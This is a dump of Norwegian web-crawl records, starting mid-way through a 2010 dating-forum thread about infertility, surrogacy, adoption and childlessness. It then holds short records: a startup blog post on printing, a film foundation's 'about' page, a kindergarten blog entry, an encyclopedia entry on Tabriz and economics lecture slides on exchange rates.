noe som jeg f\u00f8ler meg verken forpliktet eller s\u00e6rlig fristet til \u00e5 gj\u00f8re. I mine \u00f8yne er du bare heldig, jeg har et veldig snevert utvalg av damer (som ikke vil ha barn) selv, og \u00e5 finne en knallmatch blant dem er ikke lett :o)\n\nSkjult ID med pseudonym Tingeling l\u00f8. 10 juli 2010 16:17  \n\nJeg har ingen konkrete lister, Egentlig. :-)  \nOg jeg kjenner meg igjen i det du skriver, ift alder og at den biologiske klokka tikker...  \n  \nJeg tenker ganske enkelt p\u00e5 slikt:  \n\"Jeg vet hva jeg har, men ikke hva jeg f\u00e5r.\"  \nOg s\u00e5 f\u00f8lger jeg magef\u00f8lelsen. :-)  \n  \nJeg for min del ville nok ikke valgt vekk en potensiell livspartner pga dette. Som Papou skriver...det finnes alternativer. Og jeg ville sjekket ut slike ting ganske tidlig, med tanke p\u00e5 \u00f8nske om barn. Alts\u00e5 om dette er en fellesnevner. :-)  \n  \nSom du skriver...du vet ikke om dette blir seri\u00f8st enda.  \nS\u00e5 hva er \u00e5rsaken til at du f\u00f8ler du m\u00e5 ta denne beslutningen n\u00e5?  \nOg til syvende og sist...vil rasjonell analyse med pro/kontra v\u00e6re avgj\u00f8rende? (Listene kan jo bli enormt lange)  \n:-)\n\nSkjult ID med pseudonym Dragefrukt l\u00f8. 10 juli 2010 17:40  \n\nJeg har v\u00e6rt surrogatmor to ganger for et homofilt par. S\u00e5 det at man ikke kan f\u00e5 barn selv er definitivt ingen hindring for \u00e5 bli forelder. Selv som mann.  \n  \nDet er for\u00f8vrig ingenting p\u00e5 et mot-liste som veier opp for en for-liste, s\u00e5 derfor er det intet poeng for meg i \u00e5 lage kriterier for noe som helst. Livet, mitt, er rikere med barn, selv om jeg til tider er drittlei og \u00f8nsker dem langtfaen i vold.\n\nSkjult ID med pseudonym MrGrim l\u00f8. 10 juli 2010 17:48  \n\nEr det mulig.... homser skal ikke ha barn.. de er homser...  \n  \n\u00c5 adoptere barn b\u00f8r de selvsagt kunne gj\u00f8re da det er bedre \u00e5 vokse opp hos to homser i Norge en \u00e5 bo p\u00e5 barnehjem.. Men egne barn? syyykt....\n\nSkjult ID med pseudonym Egentlig. l\u00f8. 10 juli 2010 17:59  \n\nTakk for svar. :)  \n@Dragefrukt:  \nDet med surrogatmor er jeg litt nysgjerrig p\u00e5. Tar de da hennes egg (s\u00e5fremt de kan brukes) og mannens s\u00e6d (dersom det er et heterofilt par), eller blir surrogatmoren den biologiske moren? Dumt sp\u00f8rsm\u00e5l kanskje, men. Dersom eggcellene til hun jeg er sammen med ikke er brukbare, m\u00e5 det vel bli min s\u00e6d og en annens (evt. surrogatmorens) eggceller, i mitt tilfelle? He he - det er vel ikke s\u00e5 mage kombinasjoner av muligheter, mener jeg.  \n  \nNeida, dette er ikke en avgj\u00f8relse som haster for min del. Det er en del \u00e5r til jeg blir ufruktbar som mann uansett, og jeg vet som sagt ikke hvor dette jeg er inne i n\u00e5 ender. Men jeg har en tendens til \u00e5 tenke langt frem i tid, om ikke annet s\u00e5 bare for nysgjerrighetens skyld. :)\n\nSkjult ID med pseudonym Dragefrukt l\u00f8. 10 juli 2010 18:02  \n\nMan har noe som heter Gestational surrogat, GS, der man bruker s\u00e6d og egg fra andre enn surrogaten selv. Det kan v\u00e6re egg og s\u00e6d fra paret som skal bli foreldre, eller donoregg og/eller s\u00e6d. Dette gj\u00f8res via IVF, eller pr\u00f8ver\u00f8rsbefruktning.  \n  \nS\u00e5 har man Traditional surrogate, TS, der man bruker s\u00e6d fra forelderen, eller donors\u00e6d, og surrogaten bruker sine egne egg. Dette gj\u00f8res via IUI, intrauterin inseminasjon, eller kunstig inseminasjon. I noen tilfeller, der surrogaten for eksempel har sterilisert seg, kan det gj\u00f8res via IVF.\n\nSkjult ID med pseudonym nomorekids l\u00f8. 10 juli 2010 18:09  \n\nMrGrim:  \nDet er vel greit \u00e5 g\u00e5 i butikken for folk som ikke kan g\u00e5 selv vel?\n\nSkjult ID med pseudonym MrGrim l\u00f8. 10 juli 2010 18:19  \n\n@nomorekids  \nBeklager, men jeg ser ingen relevans.\n\nSkjult ID med pseudonym Tingeling l\u00f8. 10 juli 2010 18:26  \n\n@Egentlig  \nJeg kom til \u00e5 tenke p\u00e5 en ting til...etter en dusj og en pils...\\*ler\\*  \n  \nSett du treffer dama i ditt liv. Alts\u00e5...DAMA\\! Der finnes ingen tvil.  \nDere bestemmer dere for \u00e5 f\u00e5 barn, og det viser seg \u00e5 ikke bli helt enkelt. Og \u00e5rsaken viser seg \u00e5 v\u00e6re henne.  \nHva gj\u00f8r du da?  \nVelger henne vekk?  \n:-)  \n  \n\\*Tingeling i dilemma-tanke-modus av slike tr\u00e5der\\*\n\n (mann 46 \u00e5r fra \u00d8stfold)  l\u00f8. 10 juli 2010 18:27  Privat melding \n\nDet fins vel ingen enkelt fasit men det fins alternativ til \u00e5 f\u00e5 egen barn adopsjon er et eksempel for en mann tror jeg det blir likeverdig i det lange l\u00f8p da man egentlig ikke har s\u00e5 mye glede av et svangerskap.\n\nSkjult ID med pseudonym Malinka l\u00f8. 10 juli 2010 19:14  \n\nJeg fikk barn fordi jeg alltid har tenkt at jeg skulle ha det. Tror kanskje jeg er et utpreget omsorgsmenneske p\u00e5 en rar m\u00e5te. Mange som treffer meg blir overrasket n\u00e5r jeg forteller at jeg har barn, s\u00e5 jeg er vel ingen typisk trebarnsmor.\n\nSkjult ID med pseudonym Papou l\u00f8. 10 juli 2010 19:56  \n\nEn ting som sl\u00e5r meg i denne nettverden, eller kanskje i dagens samfunn - er litt usikker.  \nMen den gangen jeg giftet meg s\u00e5 ingen av oss to den minste anelse om vi var fruktbare eller ikke. Vi ble foreldre etterhvert p\u00e5 naturlig m\u00e5te.  \n  \nMen det var aldri snakk om dersom at viss om atte, det var noe som tiden bare kunne svare p\u00e5.  \n  \nEr det blitt slik idag at vi skal vite til minste detalj om alt f\u00f8r vi v\u00e5ger eller \u00f8nsker kontakt?  \n  \nSom litt off topic, s\u00e5 er det jo vanskelig nok \u00e5 komme igjen n\u00e5l\u00f8yet - for det er jo en hel sm\u00f8rbr\u00f8dliste av sp\u00f8rsm\u00e5l eller krav som f\u00f8rst m\u00e5 v\u00e6re til stede. F\u00e5r helt prestasjonsangst etter bare knappe tre uker her p\u00e5 forumet :-)\n\nSkjult ID med pseudonym hotmum l\u00f8. 10 juli 2010 23:07  \n\nPapou's betraktninger 19:56 er interessante.  \n  \nHar de samme erfaringene. Ante ikke om vi var fruktbare n\u00e5r vi giftet oss, 3 m\u00e5neder bare satt f\u00f8rstemann der, og nr 2 satt der etter ytterligere 15 m\u00e5neder. Var heller ikke noe tema om vi skulle ha barn eller ikke.  \nBarna er selvf\u00f8lgelig en berikelse i mitt liv, men tror ikke det hadde v\u00e6rt noe big issue om vi ikke hadde blitt foreldre heller.  \n  \nNoen har jo seff et meget h\u00f8yt \u00f8nske om \u00e5 f\u00e5 egne barn allerede i et tidlig stadium i livet, og vil oppleve det som et savn dersom s\u00e5 ikke skjer, men hvis det brennende \u00f8nsket ikke er der, ville jeg vel la forholdet utvikle seg og ta ting som de kommer uten \u00e5 la muligheten til \u00e5 f\u00e5 barn v\u00e6re det avgj\u00f8rende.\n\nSkjult ID med pseudonym kameleonen l\u00f8. 10 juli 2010 23:08  \n\n@Egentlig  \nJeg lurer p\u00e5 om dette kan v\u00e6re lettere \u00e5 finne ut av etter \u00e5 ha tilbringt litt tid sammen med barn?  \nDu har kanskje fors\u00f8kt det.  \nDa er det lettere \u00e5 lage en \"liste\" og.  \nTror ikke at det er slik at man \"f\u00f8ler behovet\" for barn, og dermed begynner \u00e5 lage dem. Det er bare en naturlig utvikling. Eller ikke. Man vet sjelden hva man g\u00e5r til uansett.  \nMen om man f\u00f8rst velger \u00e5 f\u00e5 barn, m\u00e5 man ikke tenke begrensninger. Er det noe sted ett barn ikke kan bli med?\n\n (mann 43 \u00e5r fra Akershus)  s\u00f8. 11 juli 2010 00:36  Privat melding \n\nOkidoki: Till tr\u00e5dstartare.  \n  \nSer inte helt problemet, men det kan ha n\u00e5got med att jag sj\u00e4lv inte stressar speciellt att f\u00e5 barn.  \n  \nOm det klaffar med damen du skriver om s\u00e5 \u00e4r v\u00e4l det bra? Att hon inte kan f\u00e5 barn borde inte vara ett stort problem.  \n  \nHar hon funktionella \u00e4gg? d\u00e5 kan man anv\u00e4nda sig av en surrogat mor (tror jag).  \nAnnars kan man anv\u00e4nda dina spermier till att skaffa dig ett barn med i alla fall dina gener.  \n  \nEller om du, som jag, har insett att det d\u00e4r med gener \u00e4r inte s\u00e5 viktigt egentligen... d\u00e5 finns det bokstavligt talat millioner med barn d\u00e4r ute i v\u00e4rlden som \u00e4r i desperat behov av nya f\u00f6r\u00e4ldrar - go nuts\\!  \n  \nEller s\u00e5 best\u00e4mmer du dig f\u00f6r att barn kanske inte \u00e4r s\u00e5 viktigt i alla fall, man kan vara happy \u00e4nd\u00e5 och skulle det sen inte fungera s\u00e5 blir allt ocks\u00e5 s\u00e5 mycket l\u00e4ttare d\u00e5.\n\nSkjult ID med pseudonym Dragefrukt s\u00f8. 11 juli 2010 00:40  \n\nDet er fullstendig mangel p\u00e5 adoptivbarn her i verden. Selv om det er mange barn som trenger et hjem, s\u00e5 er det ikke ensbetydende med at disse adopteres ut av hjemlandet. Dette ser ut til \u00e5 v\u00e6re en vanlig misoppfatning. Det er opp til 5 \u00e5rs ventetid p\u00e5 barn. Det er OM man blir godkjent. Og da gjelder det ikke \u00e5 ha v\u00e6rt deprimert som 20-\u00e5ring, for da ryker du. Det er et langt og tungt og vanskelig \"svangerskap\" og det at det er s\u00e5 altfor mange adoptivforeldre i forhold til adoptivbarn gj\u00f8r det ikke akkurat lettere.\n\n (mann 40 \u00e5r fra Oslo)  s\u00f8. 11 juli 2010 01:52  Privat melding \n\n@Dragefrukt: Synes du svartmaler situasjonen litt n\u00e5r det gjelder adopsjon....  \n  \nJuli 2005: Jeg og ekskone har siden starten av forholdet (1999) snakket om at adopsjon er en mulighet. Denne mnd. er vi p\u00e5 en tre uker tur i Romania, og vi bestemmer oss for \u00e5 starte med adopsjonen..  \n  \nSeptember 2005: Vi tar kontakt med Verdens Barn, og forh\u00f8rer oss litt om adopsjonsprosess og muligheter..  \n  \n12\\. januar 2006: F\u00f8rste m\u00f8tet med barnevernet (de som gjorde f\u00f8rste vurderingen)  \n  \nApril 2006: Vi blir godkjente som adoptivforeldre lokalt.  \n  \nJuni 2006: BUFETAT-Nord gir oss en endelig godkjenning.  \n  \nJuli 2006: Vi sender presentasjonen av oss til Verdens Barn...  \n  \n17\\. november 2006: Vi f\u00e5r beskjed fra Verdens Barn om at vi har f\u00e5tt en s\u00f8nn, som er f\u00f8dt 12. januar 2006 (samme dag vi hadde det f\u00f8rste evalueringsm\u00f8tet med barnevernet\\!)  \n  \n30\\. november 2006: Reiser til S\u00f8r-Afrika.  \n  \n2\\. desember 2006: M\u00f8ter s\u00f8nnen min for f\u00f8rste gang...  \n  \n4\\. desember 2006: Vi er i retten i Pretoria og overtar foreldreansvaret for gutten.  \n  \nJa, det \u00e5 adoptere har nok mange usikkerhetsfaktorer med seg.... blant annet tidsaspektet... men det er S\u00c5 verdt det\\!\n\nSkjult ID med pseudonym Dragefrukt s\u00f8. 11 juli 2010 02:10  \n\nDet er fire \u00e5r siden 2006 og situasjonen har forverret seg betraktelig n\u00e5r det gjelder tidsaspektet.  \n  \nOg siden du har adoptert s\u00e5 er du vel godt bekjent med at det er adoptivforeldre som st\u00e5r i k\u00f8, ikke barna.\n\nSkjult ID med pseudonym rotte ma. 12 juli 2010 22:26  \n\nHente \"fr\u00f8\" i Danmark?\n\nSkjult ID med pseudonym Dragefrukt ti. 13 juli 2010 00:03  \n\nTakk, Loveless. Noen m\u00e5 jo trakke de f\u00f8rste fotsporene her oppe p\u00e5 bjerget ogs\u00e5. ;-)\n\n (mann 29 \u00e5r fra Oslo)  ti. 13 juli 2010 15:22  Privat melding \n\n\u00c5penbart m\u00e5 du f\u00e5 barn - n\u00e5r det passer\\! Med mindre du har lyst til \u00e5 ha rundet ett halvt \u00e5rhundre f\u00f8r din f\u00f8rstef\u00f8dte fullf\u00f8rer ungdomsskolen?\n\nSkjult ID med pseudonym In10se ti. 13 juli 2010 15:34  \n\nMin far fylte 50 omtrent samtidig som jeg gikk ut av ungdomsskolen. Han var 34 da de fikk meg, min mor et par \u00e5r yngre, og jeg var nummer to i rekken. For min del har jeg aldri synes det er noe merkelig med \u00e5 f\u00e5 barn n\u00e5r man er i 30-\u00e5rene. Det har fungert helt fint i familien min i hvertfall, og begge foreldrene mine er forsatt yrkesaktive i dag n\u00e5r vi barna er i 30-\u00e5rene, selv om de n\u00e5 er veldig n\u00e6rme pensjonsalderen.  \n  \nS\u00e5 f\u00e5 barn n\u00e5r du er 25 du JarlH, hvis du f\u00f8ler for \u00e5 unng\u00e5 \u00e5 havne i den situasjonen du beskriver, og legg mulighetene til utenlandsstudier og jorden-rundt-reiser p\u00e5 hylla. For andre av oss er 30-\u00e5rene bedre.\n\nSkjult ID med pseudonym petita ti. 13 juli 2010 19:00  \n\nPS. Utenlandsstuider og jorden-rundt-reiser kan gjennomf\u00f8res med barn ogs\u00e5. Krever i s\u00e5 tilfelle kun en smule mer planlegging.\n\nSkjult ID med pseudonym vibe ti. 13 juli 2010 20:38  \n\nEgentlig, den der er ikke lett.  \nVil du klare \u00e5 slappe av og nyte forholdet, eller vil det ligge i bakhodet? Da synes jeg du skal diskutere med henne om hun har tenkt p\u00e5, og \u00f8nsker seg barn, selv om hun ikke kan f\u00e5 sel.v og har tenkt p\u00e5 alternativer.  \n  \nDragefrukt\\!  \nN\u00e5 fikk jeg meg vip\\! en m\u00e5ned til kun for \u00e5 skrive dette: Jeg b\u00f8yer meg i st\u00f8vet. At noen orker \u00e5 g\u00e5 gjennom to \u00e5 bane graviditeter for \u00e5 hjelpe andre, er fantastisk. Nye familieformer er kommet for \u00e5 bli, og den beste forsikring for hele den fremtidige generasjoner er at flest mulig av de som blir f\u00f8dt er \u00f8nsket.  \n  \nAng adopsjon er det etter det jeg er blitt fortalt av vennepar i l\u00f8ypen, i alle fall MINST 3 \u00e5rs ventetid - og den er stigende. Flere land er blitt mye mer restriktive. Utrolig synd mtp hvor mange foreldrel\u00f8se barn som finnes.  \nOg n\u00e5r man ser superstjerne f\u00e5 ordnet adopsjon p\u00e5 noen uker, skj\u00f8nner man at det et sp\u00f8rsm\u00e5l om (enda mer) penger - forkastelig.\n\nSkjult ID med pseudonym Dragefrukt ti. 13 juli 2010 20:59  \n\nTakk, Vibe. Dog undres jeg p\u00e5 om dette medf\u00f8rer h\u00f8yere g\u00e6rn-faktor blant en del andre her inne, \u00e5 dele noe s\u00e5nt. Tross alt ble jeg just nu i kveld diagnostisert med psykose i PM. :ler:  \n  \nMen ja. Nye familieformer er kommet for \u00e5 bli. Det er slik at folk m\u00e5 opplyses og bli vant med ting f\u00e5r \u00e5 akseptere det. Men n\u00e5r man ser p\u00e5 da IVF ble innf\u00f8rt p\u00e5 1980-tallet, s\u00e5 tok det bare noen f\u00e5 \u00e5r fra f\u00f8rste barnet ble f\u00f8dt i 1983 til loven var p\u00e5 plass i 1987. Men n\u00e5r det gjelder surrgati s\u00e5 er det br\u00e5tt helt utenkelig at det skal g\u00e5 an og mannfolk sitter p\u00e5 tinget og bestemmer at dette ikke skal p\u00e5 dagsorden, og i s\u00e5 fall kun for \u00e5 forbys. Jeg syns det er merkelig at folk uten kunnskap om emnet skal sitte og uttale seg om hvordan jeg skal bruke min kropp. Tross alt gir de katten om jeg er smellfeit eller spiser femten kilo sjokoladepudding hver dag. Men \u00e5 bruke kroppen min til det jeg er helt enormt god til, nemlig \u00e5 b\u00e6re frem et barn og ikke minst \u00e5 f\u00f8de det, nei Deeeet f\u00e5r jeg ikke lov til. Jeg har hatt to hjemmef\u00f8dsler og jordmoren min har f\u00e5tt p\u00e5 pukkelen fordi hun deltok i dette. Hvorfor? Fordi jeg etter boken skal ha skumle, f\u00e6le f\u00f8dsler som ender i snitt og styrtbl\u00f8dninger og hva har du. At jeg smeller ut unger p\u00e5 en time eller tre, det er ikke s\u00e5 n\u00f8ye.  \n  \nMen n\u00e5 maser jeg meg bort her. Poenget er at surrogati m\u00e5 frem og ut i lyset, ikke bare tragediehistorier om unger som sitter fast i India og i det hele tatt. Det er en fin ting, om det gj\u00f8res riktig. :-)\n\n (kvinne 45 \u00e5r fra Oslo)  ti. 13 juli 2010 21:03  Privat melding \n\nJeg har bestemt meg for \u00e5 ikke f\u00e5 barn,-p\u00e5 tross av barne-press\\&masing fra familie\\&gynekolog m.m..  \nKjempe-irriterende faktisk at alle liksom skal ha en mening om dette i mitt tilfelle,-mange av mine venninder har det p\u00e5 samme m\u00e5te..de f\u00e5r ogs\u00e5 tredd masse barnegn\u00e5ling fra kolleger,og alle andre\"vel-menende\"tullinger som liksom skal ha sitt\\&si liksom...  \n  \nSelv har jeg bestemt meg for ikke \u00e5 f\u00e5 barn selv av mange grunner.. Noen av disse grunnene er at etter min mening krever det helvetes mye av deg som forelder idag,-unger som skal kj\u00f8res overallt osv.. Forhold er ikke s\u00e5 stabile n\u00e5 for tiden syns jeg,-og det frister ikke veldig \u00e5 ende opp som alenemor/delt foreldrerett,-og nei,-jeg syns heller ikke at det er s\u00e5 lyse fremtidsutsikter mht globalisering,overbefolkning,osv  \nDen avgj\u00f8rende grunnen er vel at jeg rett og slett ikke har s\u00e5 veeeldig lyst,egentlig-er vel heldig jeg da som har en stor vennegjeng hvor antakelig nesten ingen kommer til \u00e5 reprodusere seg sj\u00f8l...det er jo helt greit egentlig,-tenker jeg.. massevis av fordeler med \u00e5 ikke f\u00e5 barn(ingen bekymringer,masse fritid\\&reisemuligheter,tid til \u00e5 pleie kj\u00e6resteforholdet,tid til venner\\&hobbyer),-og jeg har studert barn-l\u00f8se par,-og det virker som om de har det helt greit med det....N\u00e5r det er sagt liker jeg barn,-og har ikke noe imot at en kj\u00e6reste har barn,-alts\u00e5....tvert imot jeg tror at \u00e5 ha kontakt med barn er sunt\\&veldig hyggelig,-om det er tantebarn,stebarn eller andre barn spiller ingen rolle for meg..jeg har ogs\u00e5 v\u00e6rt aktiv tante i mange \u00e5r n\u00e5,-og har et kjempebra forhold til tante-unga mine.. poenget mitt er at det finns s\u00e5 mange alternativer idag,-og det er ikke gitt at alle vil det samme,-og at det m\u00e5 v\u00e6re lov \u00e5 mene noe annet enn majoriteten av befolkningen..  \n  \nJeg har h\u00f8rt mange rare grunner til at folk vil ha barn,-og for min del,m\u00e5 jeg si at jeg alldri kunne ha satt et barn til verden hvis jeg ikke hadde veeeldig lyst p\u00e5 det barnet..... det er et stort ansvar iallefall...lykke til :D\n\nSkjult ID med pseudonym Mr.Pusten ti. 13 juli 2010 21:29  \n\nTyril...  \nSt\u00e5ende applaus til deg\\! Veldig bra sagt\\!  \nOg dette er ikke smiske,smiske folkens :-)\n\nSkjult ID med pseudonym vibe ti. 13 juli 2010 21:29  \n\nDragefrukt,  \nja, norske myndigheter er veldig feige og ogs\u00e5 dobbeltmoralske og tar ikke innover seg at dette er noe folk kan ordne seg imellom uansett, og at vi lever i en global verden. Det betyr at det man ikke f\u00e5r gjort her uten \u00e5 byr\u00e5krati og manglende foreldrerettigheter eller man man/de som har penger f\u00e5r fikset ting ute - gjerne hos v\u00e5r tvilsomme lilles\u00f8ster Danmark. Eller for surrogati og drar enda lenger bort, og da oppst\u00e5r en ny problemstilling; om bruk av surogatkvinner i u-land er utnyttelse av fattige (og kanskje helsemssig svakere) mennesker.  \n  \nTyril,  \njeg synes det er modig gjort av deg \u00e5 ta et slikt valg f\u00f8r klokken tikker ut, men du virker sv\u00e6rt bevisst.  \nOg jeg kjenner igjen endel av refleksjonene dine mht barnl\u00f8se par versus par med barn. Mens flesteparten ser ut til \u00e5 kose seg med barna, selv om de er mye slitne, s\u00e5 er det ogs\u00e5 endel som tilsynelatende ikke synes det er s\u00e5 stas - det er selvsagt tabu \u00e5 si at man angrer, man er jo uansett glad i barna sine, men n\u00e5r jeg ser hvordan endel prioriterer, eller hvordan noen parforhold g\u00e5r fl\u00f8yten, eller andre igjen bare klager, s\u00e5 kan det vel tenkes at noen kanskje valgte som resultat av press fremfor et egen indre \u00f8nske. \u00c5 skulle ha barn kun for \u00e5 ha noen etter seg, i steden for en bauta eller noe:), synes jeg virker som en litt svak motivasjon - selv ville jeg da hatt hovefokuset p\u00e5 den tiden jeg skal v\u00e6re der med dem; at den b\u00f8r v\u00e6re bra.\n\nSkjult ID med pseudonym Dragefrukt ti. 13 juli 2010 21:32  \n\nFrivillig barnl\u00f8shet er et ganskje ukjent tema. Jeg vet at det er en p\u00e5 h\u00f8yskolen her ved meg som skriver doktorgrad om emnet. Personlig, s\u00e5 involvert i kreering av barn som jeg er, s\u00e5 syns jeg det er litt rart. Men det er definitivt ikke noe jeg ville stilt sp\u00f8rsm\u00e5l ved. Folk har sine grunner for alt og det betyr jo ikke at de som er i mindretall trenger \u00e5 st\u00e5 til rette for sine valg. F\u00f8les det riktig, Tyril, s\u00e5 er det nok riktig for deg. :)\n\n", "language": "no", "__index_level_0__": "cd615114-b9a0-42ec-a01c-384ae822c883"}
{"url": "http://blogg.lillylabs.no/hvorfor-ventet-lillygram-med-bruke-en-proff-printer/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:21:15Z", "text": "# Hvorfor ventet \\#lillygram med \u00e5 bruke en proff printer?\n\nFokus i produktutviklingen var \u00e5rsaken til at vi printet ut lillygram p\u00e5 en vanlig hjemmeprinter og ikke p\u00e5 en proff fotoprinter. Vi ville fokusere p\u00e5 en h\u00e5ndfull produktutviklingsaktiviteter internt i teamet:\n\n1.  h\u00e5ndfull aktiviteter\n2.  internt i teamet\n\n## 1.\u00a0h\u00e5ndfull aktiviteter\n\nEn h\u00e5ndfull aktiviteter betyr at vi m\u00e5tte velge bort f.eks koding og \u00e5 velge en trykkerileverand\u00f8r.\n\n## 2.\u00a0internt i teamet\n\nInternt i teamet betyr at Marit, Benedicte, Tom Erik og Ola ble enige om hvordan \\#lillygrambrevene skulle se ut. Vi ble enige uten \u00e5 snakke med en proff trykker som kunne p\u00e5virke oss.\n\n## Lage, m\u00e5le og l\u00e6re\n\nVi ble enige om fire bilder p\u00e5 et A4 ark som vi printet, brettet og postet. Deretter m\u00e5lte vi sm\u00e5barnsforeldrerenes oppf\u00f8rsel for \u00e5 se om de var forn\u00f8yde. De kundene som ukentlig skriver \\#lillygram under to bilder av sm\u00e5trollene sine er forn\u00f8yde. Jeg kommer til \u00e5 skrive mer om tallene senere, men de var gode. Planen var \u00e5 printe \\#lillygram hjemme og sende ut 7-8 ganger f\u00f8r vi gikk til en proff printer. Fordi tallene var s\u00e5 gode p\u00e5 de to f\u00f8rste utsendingene bestemte vi oss for \u00e5 finne en lokal trykkepartner. Rett nord\u00f8st for Carl Berners Plass fant vi PJ-Trykk som vi anbefaler hvis du liker jordn\u00e6r service og h\u00f8y kvalitet p\u00e5 resultatet.\n\n  \nHer er Ola foran Big Lilly, P\u00e5ls trykkemaskin p\u00e5 PJ-Trykk.\n\n### *Relatert*\n\nPublisert 11. september 2013Forfatter olaveaKategorier \\#lillygram, Lean Startup\n\n## En kommentar om \"Hvorfor ventet \\#lillygram med \u00e5 bruke en proff printer?\"\n\n1.   **Ola** sier:\n    \n    4\\. mai 2014, kl. 19:53\n    \n    Gled deg til neste episode i Lillyfabel, en relativt sann historie fra virkeligheten om gjengen bak Lilly Sleep og Lilly Labs:  \n    Oldemor f\u00e5r bilder i bursdagsgave\n    \n", "language": "no", "__index_level_0__": "9716412a-bbbe-47c0-ad48-14fe3179900a"}
{"url": "http://www.arthaus.no/arthaus/om/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00170.warc.gz", "warc_date": "2018-03-24T23:28:53Z", "text": "Nille Elvin Stormoen\n\n\n# Styret\n\nFor perioden sommeren 2017 - sommeren 2019:  \n  \n*Tuva \u00d8rbeck S\u00f8rheim, Oslo - styreleder*  \n  \n*Marte Thorsby, Oslo \u2013 nestleder*  \n  \n*Anniken Kjeserud, Oslo*  \n  \n*Thomas Gunnerud, Oslo*  \n  \n\n\u00a0\n# Om Arthaus\n\n\u00a0  \n  \nArthaus - stiftelsen for filmkunst ble stiftet i 1992.  \n  \nStiftelsens form\u00e5l er \u00e5 bedre vilk\u00e5rene for kunstnerisk verdifull film i Norge, bl.a. gjennom import og distribusjon av film til kinoer og filmklubber, samt medvirke til \u00e5 spre kunnskap og informasjon om film som kunstnerisk og kulturelt medium.  \n  \nArthaus er medlem av organisasjonen Europa Distribution - et nettverk av uavhengige europeiske distribut\u00f8rer.  \n  \nVi takker Norsk filminstitutt, Creative Europe MEDIA og Nordisk Film og TV-fond for st\u00f8tte og godt samarbeid.  \n  \n\n# Arthaus - Stiftelsen for filmkunst\n\nNedre gate 7, 0551 Oslo\n\n", "language": "no", "__index_level_0__": "21eb1f1c-2fab-42f2-9602-ac5067c43459"}
{"url": "https://barnehageblogg.wordpress.com/tag/mikroskop/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:36:36Z", "text": "# Barnehageblogg om digital praksis\n\n### Bare bl\u00e5b\u00e6r?\n\n26\\. august 2015\n\nKirketunet barnehage i Mo i Rana melder at de har v\u00e6rt p\u00e5 bl\u00e5b\u00e6rtur med ungene.\u00a0De har\u00a0plukket, syltet og spiste deilige bl\u00e5b\u00e6r. OG unders\u00f8kt dem i det digitale mikroskopet som de koblet opp mot en \u00a0Ipad; \u00abDet e jo sm\u00e5 steina inni\u00bb utbr\u00f8t en av guttene. Og s\u00e5 vidt jeg kan forst\u00e5 er de fleste fagomr\u00e5dene i bruk her.\u00a0(Bildet er hentet fra Facebooksiden til Kirketunet).\n\n### Digitalt mikroskop\n\n16\\. juli 2013\n\n", "language": "no", "__index_level_0__": "abf5d97c-9121-4f5d-ae28-7d78a41c3c76"}
{"url": "https://snl.no/Tabriz", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:47:09Z", "text": "# Tabriz\n\n    t\u02c8abriz\n\nTabriz, by i nordlige Iran, \u00f8st for Orumiyehsj\u00f8en (Urmiasj\u00f8en), 1360 moh.; 1,3 mill. innb. (2004). Handelssenter og administrativt senter for \u00d8st-Azarbaijan. Samferdselsknutepunkt. Fremstilling av tepper, bomulls-, ull- og l\u00e6rvarer. Sement- og maskinindustri. Universitet fra 1946. Flere moskeer, bl.a. den bl\u00e5 mosk\u00e9 fra 1437\u201367.\n\nTabriz g\u00e5r tilbake til 200-tallet og hadde sin storhetstid ca. 1300. Tabriz ligger i en jordskjelvsone, og mange av byens historiske bygninger er \u00f8delagt i jordskjelv.\n\nVil du sitere denne artikkelen? Kopier denne teksten og lim den inn i litteraturlisten din: Tabriz. (2009, 15. februar). I Store norske leksikon. Hentet  fra https://snl.no/Tabriz.\n\nfri gjenbruk.\n\n", "language": "no", "__index_level_0__": "d881de6e-596e-4ef8-9fdd-845c25086843"}
{"url": "http://docplayer.me/9448047-Valuta-og-valutamarked-econ-1310-2-november-2015.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-25T00:23:00Z", "text": "17 Udekket renteparitet Dersom investorene er villige til \u00e5 ta risikoen om de forventer at valutakursen om et \u00e5r er bedre enn terminkursen, vil terminkursen tilpasse seg slik at den blir lik forventningene T e E = $ E$ Og f\u00f8lgende uttrykk m\u00e5 stemme for forholdet mellom dagens valutakurs og forventet valutakurs om et \u00e5r: E e $ = (1 + i (1 + i N US ) ) E $\n\n18 Udekket renteparitet Renteparitet tilsier at \u00f8kt rente i Norge enten vil styrke krona, eller svekke forventningen til krona, eller begge deler. I praksis ser vi at \u00f8kt rente som regel gir styrket krone (og omvendt) Men denne effekten er ikke s\u00e5 sterk som teorien skulle tilsi, sannsynligvis fordi mange er skeptiske til risikoen ved \u00e5 plassere penger i annen valuta. Og med god grunn Selv om det ofte l\u00f8nner seg, har det ogs\u00e5 som vi s\u00e5 gitt noen store tap\n\n19 Hvorfor endres valutakursen? Spekulasjon I 2013 ble det handlet valuta verdt 5300 milliarder dollar hver dag Samme \u00e5r ble det handlet varer og tjenester til en verdi av rundt milliarder hele \u00e5ret. Det vil si at de valutatransaksjonene som trengs for \u00e5 gjennomf\u00f8re verdens handel blir gjort p\u00e5 ca en arbeidsuke. Mye av differansen er spekulasjon. Sv\u00e6rt rask handel, relativt store utslag p\u00e5 kort tid. Ikke frikoblet fra varehandel, baserer seg p\u00e5 forventninger om faktiske forhold.\n\n", "language": "no", "__index_level_0__": "58c4cf60-fa86-43d0-96a3-c09a251244f3"}
